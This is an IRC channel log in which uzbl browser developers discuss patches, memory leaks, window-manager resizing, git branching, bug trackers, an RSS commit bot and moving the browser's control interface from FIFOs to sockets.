21:52 < dusanx> hmm, have no idea, it was 3 am
21:52 < anydot> You see the difference? :)
21:52 <@Dieterbe> http://github.com/dusanx/uzbl/blob/80dedbd75159292dceea87bab4c5b90fd1bdd33e/uzbl.c dusanx download_cb
21:52 <@Dieterbe> at the end
21:52 < dusanx> I see it but don't know why
21:52 < dusanx> I probably had a cunning plan but I forgot about it :)
21:53 < dusanx> see you all, going to sleep
21:53 < dusanx> (will fix return value tomorrow)
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21:54 < sm217> anydot: There are functions with one or two params, you see.
21:54 < anydot> ye
21:54 < anydot> But there is no reason for it. :)
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21:54 < sm217> And I left an unneeded if :D
21:55 < anydot> sm217: That wasn't what i wanted to emphasize. :)
21:55 < sm217> Need to rest.
21:55 < sm217> I know, that clearly indicates that I really need to rest.
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04:56 < SteamedFish> Anyone use uzbl with a tiling window manager? I use uzbl with awesome window manager. Uzbl always resize its window when I use it.
04:57 < Darksair> SteamedFish: well not always...
04:57 < Darksair> SteamedFish: only when the window is floating
04:58 < SteamedFish> Darksair: No, I didn't float uzbl.
04:59 < Darksair> SteamedFish: Uzbl seems to adjust itself to fit the width of the page
05:00 < SteamedFish> Darksair: Yep, which bothers me.
05:05 < SteamedFish> Darksair: Seems nobody here
05:05 < Darksair> SteamedFish: Is it a feature or a bug?
05:05 < SteamedFish> Darksair: i've no idea
05:07 < Darksair> SteamedFish: In Xmonad, uzbl only resize itself when floating
05:07 < Darksair> SteamedFish: maybe because you let Awesome obey the *hints* of windows
05:07 < SteamedFish> Darksair: the window resizes too often that i cannot click signout in gmail
05:08 < SteamedFish> Darksair: maybe, let me take a look at it
05:08 < SteamedFish> Darksair: yep, it seems that, by default, awesome follows the hints of windows
05:09 < Darksair> SteamedFish: then that should be it
05:11 < SteamedFish> Darksair: uzbl, like mplayer and qiv, is recoginized automatically by awesome as float
05:12 < SteamedFish> Darksair: i don't know why
05:12 < Darksair> SteamedFish: that sucks
05:12 < SteamedFish> Darksair: oh no, i was wrong, sorry, never mind
05:12 < Darksair> SteamedFish: -_-
05:23 < SteamedFish> and gmail's embedded chat actions weird
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08:00 < kdavis> works nice w/ stiler :)
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08:54 < dusanx> 'morning :)
09:17 <@Dieterbe> morning dudes
09:17 < dpb> That it is.
09:18 <@Dieterbe> it's a beatiful morning here in belgium
09:18 <@Dieterbe> not a cloud in the sky
09:18 < dpb> It's cloudy here. :(
09:19 <@Dieterbe> a nice blue sky and quite some sun
09:19 <@Dieterbe> where do you live?
09:19 < dpb> Finland
09:21 <@Dieterbe> ah, does that mean you like black metal and stuff?
09:21 < dpb> No? o_O
09:22 <@Dieterbe> SteamedFish: sure, i think most of the uzbl users use a tiling wm
09:23 <@Dieterbe> i use wmii, but in the tiling layout it just forces uzbl to the correct size to fit in the tiled layout
09:23 <@Dieterbe> by default uzbl starts itself in 800x600 or so, but i think most tiling wm's just ignore that
09:25 < dpb> they don't "ignore" it, they just resize the window before you can actually see the original size.
09:26 < Darksair> SteamedFish: I really think you should disable the hints thingy
09:27 < SteamedFish> Dieterbe: when uzbl starts its size is correct. but when I move my mouse around uzbl starts to resize itself often
09:29 <@Dieterbe> SteamedFish: can you report this as a bug on http://github.com/Dieterbe/uzbl/issues
09:29 <@Dieterbe> it should not try to resize itself after it's running, that's a bug
09:29 <@Dieterbe> also, we should make the "set size on startup" thingie optional, probably
09:29 < SteamedFish> Dieterbe: Ok
09:32 <@Dieterbe> mm seems like one needs to register on github to be able to report issues.. oh well, that's the case for every bugtracker i guess
09:33 < SteamedFish> Dieterbe: i have a github account :)
09:33 <@Dieterbe> yeah i was speaking generally
09:34 < dpb> Yeah, imo it's good that people need to register.. removes the spam..
09:35 <@Dieterbe> true, but some people don't like github :)
09:35 <@Dieterbe> because it's not open source and all
09:36 < dpb> Hey, I'm the one who complained about that. <.<
09:36 < SteamedFish> Dieterbe: I created the bug with my poor english
09:36 <@Dieterbe> lol dpb :)
09:36 <@Dieterbe> well i can imagine there are more
09:37 < dpb> true
09:38 < Darksair> also is there a limitation that a free user only have 5 project?
09:39 <@Dieterbe> i think it was 8 or something
09:39 < Darksair> oops~~
09:39 < dpb> Still sucks..
09:40 < dpb> Is there some free bug tracker site somewhere that projects can use?
09:41 <@Dieterbe> well, github is free, or did you mean as in speech :)
09:41 < Darksair> dpb: That might be sf or google code
09:41 < SteamedFish> Darksair: they don't support git
09:41 < dpb> Darksair: I said free. :P
09:42 < Darksair> dpb: you mean as in freedom?
09:42 < dpb> Yes
09:42 < Darksair> Oh
09:43 < SteamedFish> dpb: why not host a flyspray at uzbl.org?
09:43 < dpb> I'm not talking about uzbl, just generally
09:44 <@Dieterbe> SteamedFish: that's an option..
09:44 < SteamedFish> dpb: oh
09:45 < dpb> for example for projects that don't have their own webspace anywhere to host their own tracker
09:45 < Darksair> It's a shame that there are so few opensource project hosting services that themselves are opensource/free
09:46 < dusanx> morning again, I am back. Dieterbe, I pulled your experimental.
09:48 <@Dieterbe> dusanx: so you start to like git? :P
09:48 < dusanx> shhhh, it's working now, I don't want to disturb it :D
09:48 <@Dieterbe> dusanx: true, but iirc github does contribute to some stuff and release a few parts
09:49 < dpb> Darksair: There's gitorious, but it doesn't seem to have a bug tracker.. of course gna and savannah too
09:49 < dusanx> no, I mean started to love it but I am still cautious lol
09:49 < Darksair> dpb: ya I saw that too
09:50 < Darksair> dpb: but I can't find a statement saying that the framework is free.  Is there any?
09:50 < dpb> Darksair: for gitorious?
09:50 < Darksair> dpb: yep
09:51 < dusanx> we have some positioning problem but I can't figure out what happened: I am using dwm and two monitors. when I switched uzbl to float, uzbl randomly jumps at the 'screen middle', in fact I get two halfs on two screens
09:51 < dpb> Darksair: http://gitorious.org/projects/gitorious/repos/mainline/blobs/master/LICENSE
09:51 < dpb> Darksair: it hosts itself: http://gitorious.org/projects/gitorious
09:52 < Darksair> dpb: Wow
09:52 <@Dieterbe> dusanx: yeah me too, sometimes things still break when i try to pull/merge. i hate it and often don't know how i should fix it
09:53 < dusanx> Dieterbe: it's getting better, few days ago I had no idea how to use git :)
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09:55 < SteamedFish> Darksair: i tyied gitorious and love it :) 
09:56 < Darksair> SteamedFish: but as dpb said, it has no bug tracker...
09:57 < SteamedFish> Darksair: it's open source, improve it :P
09:58 < Darksair> SteamedFish: Er... x_x
09:59 < dpb> SteamedFish: doesn't mean they'll add it to gitorious.org
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09:59 <@Dieterbe> yeah it can't be that hard.  if you look at the bug tracker at github it's really simple but it does the job
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10:00 < anydot> dusanx: Had you looked into my patch?
10:01 < dusanx> Dieterbe: I just finished 'open in new window' completely :D
10:01 < dusanx> from popup menu
10:02 < dusanx> anydot: sorry, waking up, not yet. there are some things I like but we will have to vote on all changes
10:02 <@Dieterbe> what do you mean exactly with popup menu?
10:02 < dusanx> right click link -> open in new window
10:02 < anydot> dusanx: As I sad yesterday, all gets much, much simpler.
10:03 < anydot> And from you POV, it's only move from external section, into internal function which call's external script/whatever.
10:03 < dusanx> Dieterbe: same as right click on anything -> download works right now
10:03 <@Dieterbe> anydot: was that the patch that merges internal and external bindings?
10:04 <@Dieterbe> i like the general idea
10:04 <@Dieterbe> i just need to look at your implementation
10:04 < anydot> Dieterbe: yep
10:04 < anydot> Dieterbe: I do other things, like having only one prototype for CB in Command struct.
10:05 < anydot> etc.
10:06 < dusanx> anydot: Just one thing I noticed yesterday: you switched const gchars to gchars but I could not find free() for them? Sorry if I missed them, was in the hurry.
10:06 < anydot> dusanx: Free is at end of main().
10:07 <@Dieterbe> dusanx: did i? i didn't change things explicitly, maybe some things went wrong during the merge?
10:07 < anydot> But take this all as "work in progress" solution.
10:07 < dusanx> ok, I'll look this afternoon, thanks
10:07 <@Dieterbe> anydot: i'll study your patch and maybe apply it
10:07 < dusanx> Dieterbe: anydot's patch, not you
10:08 < anydot> It's just because of that configuration, in that struct is allocated ram anyway, just using it as const gchar doesn't mean you mustn't free it.
10:08 < anydot> And IMHO that was (on of the) place where memory was leaking before.
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10:09 <@Dieterbe> hi ise 
10:09 < anydot> There (was) other place also in reading configuration, keysi/e weren't freed.
10:09 < ise> wow....there are lots of people here.....
10:09 < ise> hi Dieterbe 
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10:09 < ise> alright, here is my issue, maybe I have something wrong, but it was very strange....
10:09 < ise> *maybe I have done something wrong
10:10 < anydot> btw, on web, there's "recent commits" column, would be problem to change it so it will show also which repository was changed (not only branch) and date/time of changeset?
10:11 < anydot> Now it's not easy to just look on HP for "what changed from yesterday".
10:11 < anydot> Also, there's imho no need to have special function for going to homepage.
10:11 <@Dieterbe> HP ?
10:11 < ise> I used the example configuration which comes with uzbl and opened a website with input fields, but I can't type anything into the fields. No cursor appears and if I start to write uzbl reognize my key press as shortcut keys and execute their commands (e.g. reload the page)
10:11 < anydot> Home Page.
10:12 < anydot> With my patch, it can be as simple as having (in bindings section) this line: h = load_uri http://my.homepage.com
10:12 < anydot> => homepage is just shortcut anyway
10:12 <@Dieterbe> anydot: yes that's a good point. i am also not sure if i like the home page concept
10:12 <@Dieterbe> after all the home page concept is just a simplied version of a bookmark system
10:12 < anydot> I don't, imho it's useless. :-)
10:12 < anydot> yep.
10:13 < anydot> And another thing, what about keyword support?
10:13 < dusanx> ise: You are probably in command mode [C]. Press i to get to insert mode [I], press ESC to get back to command mode. Or set always_insert_mode to 1
10:14 < dusanx> ise: In always_insert_mode you have to press defined Mod key too
10:14 < anydot> It's up to the discussion, if do it inside of uzbl, with keywords defined in configuration, or solve it in external "ask me for some url and open it" script.
10:14 < ise> dusanx, thanks that helps...strange, I thought that I was in input mode....
10:14 < vti> in command mode there is cursor blinking in text input for example, that is confusing because you can't actually type
10:15 < dusanx> you can see mode either in status bar or title bar if you turned off status bar :D
10:15 <@Dieterbe> anydot: what exactly do you mean with keyword support?
10:15 < anydot> In insert mode, it would be fine to have passthrought mode, as in vim is c-v.
10:15 < ise> dusanx, I know....that's why I thought I was in insert mode
10:15 < SteamedFish> it said in the readme that, the keyboard is vim-like command style while it's not. i thought i could use j and k to scroll up and down the first time i use it
10:16 < anydot> Dieterbe: You open for example "g uzbl" url.
10:16 <@Dieterbe> vti: good point, maybe we should change the color of the cursor or something
10:16 < YDB> Hello
10:16 < anydot> And "g" is keyword defined as: http://google.com/search?q=%s
10:17 < anydot> And this all will expand "g uzbl" to "http://google.com/search?q=uzbl" -> url of google search for "uzbl".
10:17 < anydot> Very user friendly feature.
10:17 < Darksair> SteamedFish: yap you press 'k' and bmmm
10:17 < anydot> Dieterbe: Take it as parametrized url combined with shortcut.
10:18 <@Dieterbe> SteamedFish, Darksair yep we should make the keybinds for navigation configurable and configure them vim like by default. patches welcome
10:18 <@Dieterbe> anydot: right, good point
10:18 < anydot> And btw, I dived into webkit source, caching is included in default curl-based engine.
10:19 < anydot> By default there's 8MiB cache.
10:19 < anydot> For images/css etc.
10:19 < dusanx> anydot: do we need to turn on caching somehow? It's not working right now
10:20 < anydot> dusanx: It is.
10:20 < anydot> dusanx: As I sad, there's default caching in libwebkit.
10:20 < anydot> But it is very basic, or some cache manager is missing, or god know what.
10:24 < anydot> And what about that change to uzbl.org website code, that recent commits?
10:24 < anydot> Who is administering website?
10:25 < anydot> Will it be problem to change it? I will appreciate it really.
10:26 < anydot> So, that is what I had on the mind so far. :-)
10:26 <@Dieterbe> anydot: barrucadu is the main site admin, but i help a bit too
10:27 < anydot> Oh, he's not here. :(
10:27 < anydot> Dieterbe: Could you inform him somehow? (post email with irclog, or post him irclog after he appears here?)
10:28 <@Dieterbe> i don't think we should work to much on the commit showing on uzbl.org, we should let do github do the work for us
10:29 < rob|> btw, http://sites.google.com/a/chromium.org/dev/developers/design-documents/disk-cache  has a quite nice insight on chrome's disk cache implementation, could be of use
10:29 <@Dieterbe> a basic list like now is ok, but more info we should link to github
10:29 < anydot> of course
10:29 < dusanx> rob|: thanks, this should be good info
10:29 < anydot> I don't want to show much more infos, only date+time and repository, not just branch.
10:29 < anydot> Nothing more.
10:30 < anydot> hmm, so it show's Dieterbe's repo anyway. :)
10:32 <@Dieterbe> i see
10:32 <@Dieterbe> i'll add it on the todo list
10:33 < anydot> I somehow thought it shows commits from all the repos listed below.
10:34 < anydot> Dieterbe: If I take it correctly, your repo is "stable" and dusanx's is where development takes place?
10:35 <@Dieterbe> development happens in all branches except my master
10:35 < anydot> Or how would you describe these repos/?
10:35 <@Dieterbe> i develop in my experimental, and pull in stuff from others into my experimental
10:35 < anydot> ok
10:35 <@Dieterbe> after QA i merge my experimental into my master
10:38 <@Dieterbe> dusanx has a master branch but actually it's an experimental one
10:38 < anydot> dusanx has experimental branch too, but dunno if it use it somehow.
10:38 < anydot> *if he!
10:39 < dusanx> I am git beginner, one branch is one too many for me :P
10:39 < anydot> hehe
10:39 < dusanx> my experimantal is on my pc
10:39 < anydot> beginner with git, or beginner with (D)VCS?
10:39 < dusanx> with git
10:39 < anydot> Are you using any other DVCS?
10:40 < dusanx> what IS D(VCS)??
10:41 < anydot> distributed version control system
10:41 < dusanx> before git? carefully packed zip files :D
10:41 < anydot> heh
10:41 < dusanx> I am _very_ old school
10:41 <@Dieterbe> you mean you are _very_ old :P
10:41 < anydot> That's not old school, that's dump (without offense).
10:42 < anydot> *dumb
10:42 <@Dieterbe> anydot: he's from times where vcs'es did not even exist i think
10:42 < dusanx> don't get me started with during the war stories...
10:42 < dusanx> hell internet did not exist
10:43 < dusanx> I was writing C on IBM XT with all 640 kb limits you know
10:43 < anydot> btw, what's average age of you, developers?
10:44 <@Dieterbe> (17+24+37)/3, you do the math
10:44 < dusanx> Well I pull average a lot :)
10:44 < anydot> OK
10:44 < anydot> I just wanted to know if this is or isn't some other "script kiddie"-like project.
10:45 < dusanx> so saying that something is dumb to the grandfather is... funny (no offense taken you know ;)
10:45 <@Dieterbe> anydot: how old are you?
10:46 < anydot> dusanx: Using some sort of VCS is productive, sometime you want to look back in history, sometime you make error etc.
10:46 < anydot> Dieterbe: 24
10:46 < dusanx> anydot: I know but understand that VCS's exist for just a blink of my work -- that's recent invention
10:47 <@Dieterbe> anydot: cool join the club :)
10:47 < anydot> RCS is pretty old.
10:47 < anydot> Dieterbe: :)
10:48 < dusanx> During the war... I was writing assembler code on Motorola based Sinclair QL and lived from that
10:49 < anydot> During which war, may I ask?
10:50 < dusanx> ever watched only fools and horses? all great stories must start with 'during the war...'
10:50 < anydot> Somehow there's always some war. :)
10:50 < anydot> dusanx: That's some show or ...?
10:51 < dusanx> lol, that greatest uk humor series
10:51 < anydot> I'm not from UK.
10:51 < dusanx> http://www.bbc.co.uk/comedy/onlyfools/
10:51 < dusanx> neither am I
10:53 -!- Irssi: #uzbl: Total of 25 nicks [1 ops, 0 halfops, 0 voices, 24 normal]
10:54 < anydot> nice quote friend of mine just posted me:
10:54 < anydot> „A lot of fellows nowadays have a B.A., M.D., or Ph.D., Unfortunately, they don't have a J.O.B.“
10:54 < anydot> Sad, but true.
10:56 <@Dieterbe> :)
11:08 < anydot> Dieterbe: Do you still study or are you in work?
11:08 <@Dieterbe> i work
11:08 < anydot> I do both. :-)
11:11 < anydot> So, ad recent commits change, you can toggle "watch" function on repos at github.
11:11 < anydot> That solve my problem partly.
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11:28 < rob|> so, sucessfully installed arch on the laptop. would i just "pacman -S libwebkit" for uzbl or do i have to somehow get the devel files separately?
11:29 < vti> rob|: there is PKGBUILD specifically for uzbl
11:29 < rob|> yeah, saw that one though would like to use git manually
11:29 < dusanx> rob|: libwebkit should contain all you need
11:30 < rob|> alright, thx
11:30 <@Dieterbe> yep, on arch the normal packages also include the dev stuff
11:30 < dusanx> I have just pushed small upgrade, since I got files from Dieterbe you can pull my master
11:31 <@Dieterbe> note that arch packaging for uzbl is basically packing up a make install with custom DESTDIR, which gets extracted to /
11:39 < rob|> ok, everything working now. just need to set up the environment a bit then it's time to hack ;)
11:40 < dusanx> rob|: :)
11:41 <@Dieterbe> ah guys, please stop contributing. every evening i come home and all i can do is merge merge test and merge and test and then it's bedtime
11:42 <@Dieterbe> i want to code a bit myself too :P
11:43 < dusanx> :P
11:43 < dusanx> Dieterbe: you spend too much time on your real world job -- change it ;)
11:43 < anydot> :)
11:44 <@Dieterbe> :P
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11:55 < anydot> Dieterbe: Just filled some issues, take it all as feature requests. :)
11:55 <@Dieterbe> okelidokeli
11:56 < anydot> I will even write patches for them, but first I will wait if you accept my yesterday patch and how. :-)
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11:57 < anydot> (not that it is sort of condition, but these patches will become dependend on my yesterday's patch)
11:58 <@Dieterbe> sure
11:59 <@Dieterbe> actually sm217 (or something) did a patch where he replaced the structs with hashtables, i like that one too
11:59 < anydot> That's not really problem.
11:59 <@Dieterbe> so i'll probably need to merge in your patch, then sm217's which will conflict, then clean it up and push
11:59 < anydot> Accept it first, and I will rebase my patch.
12:00 <@Dieterbe> ok
12:00 < anydot> No, merge his first, would be simpler imho.
12:00 <@Dieterbe> ok
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12:00 < anydot> oh my, http://www.halfbakery.com/idea/Rat_27s_20Milk_20Cheese
12:00 < anydot> Really mad idead.
12:00 < anydot> *idea
12:18 < anydot> Dieterbe: I have one tiny wish, can you put "/* vi: set et: */
12:18 < anydot> As last line in uzbl.c?
12:20 <@Dieterbe> sure, but what does it do?
12:20 < anydot> Set expand tab in vim.
12:21 < anydot> uzbl.c style use 4space indent, instead of tabs.
12:21 < anydot> And in my patch, you can see tab, instead of this, as I preffered not to use et.
12:23 <@Dieterbe> hmm and shouldn't there be a declaration so that vi knows it's 4 spaces?
12:23 < anydot> I use tab == 4 spaces (ts=4).
12:23 < anydot> So this suffice for me, but you can add ts=4 too.
12:23 < anydot> whole line: /* vi: set et ts=4: */ then
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12:24 <@Dieterbe> ok, i'll do that 
12:25 < anydot> nice
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12:37 < dusanx> I have added /* vi: set et ts=4: */, great trick
12:46 <@Dieterbe> ah dusanx if you tested it, you can commit it
12:46 <@Dieterbe> then i can scratch it from my list :P
12:46 < dusanx> I will, maybe to check few more things before pushing, you all guys don't pull for several more hours :)
12:49 <@Dieterbe> well i thought i would merge during my lunch break (i have my clone with me today :)) but i thin we'll be going to a restaurant so..
12:50 < dusanx> np, pushing now just in case
12:52 < dusanx> done
13:59 <@Dieterbe> lol @ "dwm's future" thread on the dwm list
14:14 < dusanx> oh yes, they opened can of worms
14:19 <@Dieterbe> it was a funny read :)
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14:22 < anydot> @rss add dusanx/master http://github.com/feeds/dusanx/commits/uzbl/master
14:22 < dev_null> anydot: The operation succeeded.
14:23 < sm217> Hi
14:23 <@Dieterbe> o_O
14:23 <@Dieterbe> @help
14:23 < dev_null> Dieterbe: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. For list of all plugins use command list.
14:23 < anydot> @rss add Dieterbe/master http://github.com/feeds/Dieterbe/commits/uzbl/master
14:23 <@Dieterbe> @are you a smart bot
14:23 < dev_null> anydot: The operation succeeded.
14:24 < anydot> @rss add Dieterbe/experimental http://github.com/feeds/Dieterbe/commits/uzbl/experimental
14:24 < dev_null> anydot: The operation succeeded.
14:24 <@Dieterbe> anydot: i wonder when someboy commits something, and i push that commit in my branch
14:24 < anydot> It supybot of my friend.
14:24 < anydot> Dieterbe: It will post it as one message, nevermind how many new commits there is.
14:24 < anydot> So it shouldn't flood channel.
14:25 < anydot> But if it will, message me, I will do $something. :-)
14:25 < dpb> Dieterbe: btw, you should register this channel with chanserv
14:25 < anydot> @rss announce dusanx/master
14:25 < anydot> @rss announce Dieterbe/master
14:25 < anydot> @rss announce Dieterbe/experimental
14:26 <@Dieterbe> dpb: right
14:26 <@Dieterbe> i'll figure out how to do that
14:27 < dpb> /msg chanserv register #uzbl :)
14:28 -!- mode/#uzbl [-s+tc] by ChanServ
14:28 -!- Irssi: #uzbl: Total of 25 nicks [1 ops, 0 halfops, 0 voices, 24 normal]
14:30 < anydot> Dieterbe: Could you op me, or post here that @rss announce ... messages above? As that supybot listen only to ops for final rss approval.
14:32 <@Dieterbe> @rss announce dusanx/master
14:32 <@Dieterbe> @rss announce Dieterbe/master
14:32 <@Dieterbe> @rss announce Dieterbe/experimental
14:33 < anydot> It shall notice you with sort of "everyting done OK" message.
14:35 <@Dieterbe> @rss add Barrucadu/experimental http://github.com/feeds/Barrucadu/commits/uzbl/experimental
14:35 < dev_null> Dieterbe: The operation succeeded.
14:35 <@Dieterbe> @rss announce Barrucadu/experimental
14:36 < anydot> @rss dusanx/master
14:36 < dev_null> anydot: Unable to download feed.
14:36 < anydot> hmm, something's wrong.
14:38 <@Dieterbe> yeah i got an error
14:38 < anydot> Ah, that #uzbl,op was op inside of that supybot, damn python! :-)
14:38 <@Dieterbe> 14:32:10 [freenode] -dev_null(i=bot@master.czau.net)- Error: You don't have the #uzbl,op capability. If you think that you should have this capability, be sure that you are identified before trying again. The  'whoami' command can tell you if you're identified.
14:38 < anydot> It will be solved soon.
14:38 < anydot> yeah
14:38 <@Dieterbe> i don't get it
14:38 < dpb> you'd need to know supybot to get it
14:39 < anydot> supybot itself have some rolebased accesslist.
14:39 < dpb> yep
14:40 < anydot> @rss announce dusanx/master
14:40 < dev_null> anydot: The operation succeeded.
14:40 < anydot> @rss announce Dieterbe/master
14:40 < dev_null> anydot: The operation succeeded.
14:40 < anydot> @rss announce Dieterbe/experimental
14:40 < dev_null> anydot: The operation succeeded.
14:40 < anydot> So, now it should be setup.
14:40 <@Dieterbe> @rss announce Barrucadu/experimental
14:41 <@Dieterbe> barrucadu should also be in there
14:41 < anydot> nono, you are not that bot op :)
14:41 < anydot> @rss announce Barrucadu/experimental
14:41 < dev_null> anydot: The operation succeeded.
14:42 < anydot> Now, sit tight and wait for next commit. :-)
14:42  * Dieterbe fastens his seatbelts
14:42 <@Dieterbe> ok tight!
14:43 < dpb> You're ircing from the car? ;o
14:43 <@Dieterbe> no i have seatbelts on my desk chair :)
14:44 < dpb> Weird chair.
14:49 <@Dieterbe> the person in it is weirder :P
14:50 < anydot> Btw, what timezone are you in?
14:50  * anydot UTC+1
14:51 <@Dieterbe> i think they call it utc+1
14:51 <@Dieterbe> erm i mean utc+1.5
14:51 < dusanx> lol I am +2
14:51 <@Dieterbe> because of daylight saving we're sometimes 1 hour off, sometimes 2
14:51 <@Dieterbe> or it could be 0 and 1, not sure
14:52 < anydot> daylight saving suck.
14:54 -!- mode/#uzbl [+o Dieterbe] by ChanServ
14:54 -!- mode/#uzbl [-o Dieterbe] by ChanServ
14:54 -!- Irssi: #uzbl: Total of 25 nicks [0 ops, 0 halfops, 0 voices, 25 normal]
14:54 -!- mode/#uzbl [+o Dieterbe] by ChanServ
14:54 -!- mode/#uzbl [-o Dieterbe] by ChanServ
14:54 < Dieterbe> ha. cool stuff
14:54 -!- Irssi: #uzbl: Total of 25 nicks [0 ops, 0 halfops, 0 voices, 25 normal]
14:55 < Dieterbe> there. everyone equal :)
14:56 < Dieterbe> so, i registered the channel and made myself -o (can get +o if needed)
14:57 < Dieterbe> is there more stuff i should do?
14:58 < dusanx> I think that I am going to map zenity to some of the keys -- had to paste some url and there is no place to paste it, dmenu does not have paste
14:59 < Dieterbe> hm that's a good idea
14:59 < dpb> Dieterbe: no, you're not utc+2, you're gmt+2. utc follows daylight savings too.
15:00 < dpb> utc is currently gmt+1
15:01 < dpb> (or I might just be talking shit..)
15:02 < Dieterbe> :) i don't know
15:02 < Dieterbe> hey rob| how is it going?
15:02 < Dieterbe> did you rewrite uzbl from scratch yet? :P
15:03 < dpb> yep, was talking shit... it's BST that is the time in britain now...
15:04 < Dieterbe> complicated stuff
15:04 < Dieterbe> i thought utc == gmt
15:04 < dusanx> rob|: there are some carefully placed strings that may segfault any time, that's what we wanted to do!
15:05 < dusanx> rob|: joke, kill any you notice :D
15:05 < sm217> Dieterbe: could you please have a look, I finished moving to ghashtables and synced with your code.
15:05 < dpb> "In casual use, Greenwich Mean Time (GMT) can be considered equivalent to UTC or UT1 when fractions of a second are not important. Owing to the ambiguity as to whether UTC or UT1 is meant, GMT is generally avoided in technical contexts."
15:06 < Dieterbe> sm217: yes.. now+4hours i'll look at your code
15:07 < sm217> Ok
15:07 < rob|> Dieterbe: hehe, no not yet. have to do some real work so i can buy a pound of bread tonight ;)
15:09 < Dieterbe> fair enough :P
15:09 < Dieterbe> rob|: where do you live?
15:10 < rob|> germany
15:11 < Dieterbe> ah, are you going to froscon?
15:11 < Dieterbe> we will get some arch people together at froscon :)
15:12 < rob|> no plans yet as i'm not sure when my gf is on holliday
15:13 < vti> hey guys, haven't you thought about some core that can we wrapped by gtk and qt?
15:14 < dpb> What's the point in that? Will just make stuff way too complex.
15:14 < Dieterbe> uhm.. no
15:14 < Dieterbe> yep, agreed
15:14 < Dieterbe> way, way waay
15:14 < dpb> and uzbl is quite a small program, quite easy to do a clone with qt.
15:15 < sm217> Yes, we will need some kind of interface between core and wrapping, and such.
15:15 < vti> hmm, right, and you're writing it in c..
15:17 < sm217> no logo news yet?
15:17 < Dieterbe> nope
15:18 < sm217> at least someone does it :)
15:18 < sm217> time for some tf2.
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15:25 < rob|> ok, i think the first thing to do is to replace pthread with a g_io_add_watch() based method in gtk_main()
15:25 < rob|> that can easily be extended to sockets
15:26 < rob|> if needed, of course
15:30 < Dieterbe> i think you convinced me the other day to go fifo -> socket. I don't think there is anything we cannot do with sockets that we can with fifo, we will just need to use a "wrapper program" because you can't just write plaintxt like you can with fifo's but i don't think there's a real disadvantage with that. except it requires a bit more processing overhead and latency.
15:31 < Dieterbe> tbh I find changing uri's dmenu+fifo writing not too responsive right now, but i'm not sure where the cause is
15:31 < dusanx> does that mean that we will not be able to control it with simple scripts?
15:31 < rob|> well, you can perfectly use socket from the shell with nc (netcat)
15:32 < rob|> so if you really want to stay pure just write the control prog as a wrapper around nc
15:32 < dusanx> Dieterbe: it is bit sluggish lately, true
15:33 < Dieterbe> rob|: but still, you would call 2 external programs: uzblctrl and netcat. that causes delay. with a fifo you just spawn a shell and that's it
15:33 < rob|> the only problem i see with (tcp) sockets is authetication
15:33 < Dieterbe> but we would use unix sockets?
15:33 < dusanx> please guys keep is simple
15:34 < Dieterbe> dusanx: first let's figure out all our options. if we can do sockets without much added bloat i would love to do it
15:34 < Dieterbe> we could always let uzbl open both a socket and a fifo btw. fifo for fast half duplex communication, socket for full duplex, but bit slower
15:34 < Dieterbe> just thinking out loud
15:35 < dusanx> that I like if there is not too much overhead
15:35 < rob|> glib has a bunch of easy to use functions that work on files&sockets, so you could even keep both options  and let the user decide what he wants (without much extra coding)
15:36 < Dieterbe> rob|: hey wait a minute, i seem to recall bash has some builtins to do tcp.  maybe it can do unix sockets with builtins too
15:36 < rob|> hmm, not sure
15:37 < Dieterbe> http://thesmithfam.org/blog/2006/05/23/bash-socket-programming-with-devtcp-2/
15:39 < rob|> bash specific, though
15:41 < Dieterbe> true true, and only tcp sockets
15:42 < Dieterbe> sockets can give some good advantages, but since we do uri editing etc outside of uzbl, we should not get lag
15:43 < vti> no /dev/tcp in arch? :(
15:43 < Dieterbe> indeed
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16:20 < dusanx> what is the best way to use threads in uzbl and where I can read about them?
16:24 < Dieterbe> ask rob| , he's the thread man
16:24 < dusanx> rob|: thread man, what do you suggest?
16:24 < anydot> And btw, is there any reason to use threads?
16:24 < rob|> i wouldn't use (p)threads at all, in fact i just removed them
16:25 < anydot> yep
16:25 < dusanx> I have one idea why may we use them
16:25 < rob|> and made use of g_io_add_watch() instead
16:25 < dusanx> hmm, add watch may solve issue I was trying to fix
16:26 < dusanx> I mean make uzbl more responsive
16:26 < anydot> In what sense?
16:27 < dusanx> instead of g_spawn_command_line_async there is sync call execute and wait on stdin
16:27 < dusanx> since it is sync I was considering threads
16:27 < dusanx> of course scripts would echo results but that's no problem
16:27 < anydot> Eh, why do you want to use sync version instead of the async one?
16:28 < dusanx> b/c there is no wait response async version
16:28 < anydot> Yes, that's because it's async. :)
16:28 < anydot> It "fire and forget".
16:28 < dusanx> read above, yes
16:29 < anydot> And ...
16:29 < anydot> Stil don't get it WHY it can be better for responsivenes.
16:29 < dusanx> well, it may be, that's why I wanted to try
16:30 < dusanx> but there is good chance that patch that rob| made will solve whole issue
16:30 < anydot> It will be, and without any complexity etc.
16:30 < anydot> Imho it's inside double fork.
16:30 < Dieterbe> does rob|'s thread-> g_io_add_watch improve responsiveness in any way?
16:31 < dusanx> g_io_add_watch should be quicker I think
16:31 < Dieterbe> because assuming there is no cpu bottleneck, your thread will be running "instantly" i think
16:31 < anydot> That's not such easy thing to say.
16:51 < rob|> ok, the watch thing seems to work
16:54 < Dieterbe> rob|: do you think it will give any responsiveness improvement?
16:56 < rob|> probably, though i'm not sure wether it's drastic
16:56 < rob|> how do you handle patches?
16:57 < rob|> i used your stable master repo btw
16:57 < rob|> s/stable//
16:58 < Dieterbe> well, you can send the patch or let me pull from you
16:58 < anydot> 1
17:05 < rob|> ok, so here it is http://pastebin.com/m7a5818a9
17:05 < rob|> it definitly needs better error handling, though look at it first and tell me what you think
17:06 < anydot> How do you handle partial writes?
17:06 < anydot> try: (echo -n load_uri ; echo " http://somesite") > /tmp/uzbl_...
17:06 < rob|> i don't i use g_io_channel_read_line()
17:07 < anydot> You do.
17:07 < anydot> #
17:07 < anydot> +    g_io_channel_read_line(fd, &ctl_line, &ctl_line_length, &term_pos, NULL);
17:07 < anydot> From your patch.
17:07 < rob|> right
17:08 < anydot> And, in case it returns if it did partial or whole read, how do you know, if you don't check anything?
17:08 < anydot> Imho example I posted above won't work.
17:08 < Dieterbe> anydot> try: (echo -n load_uri ; echo " http://somesite") > /tmp/uzbl_... what's wrong with this? did you mean to use -n for the second echo ? the only thing wrong here is the command name, should be uri, not load_uri
17:09 < anydot> Dieterbe: echo -n load_uri ; echo " http://somesite" is not same thing as echo "load_uri http://somesite"
17:09 < anydot> As the first will be done as 2x writes, while the second will be one write containing whole line.
17:09 < rob|> right, though the read_line function seems to catch that case
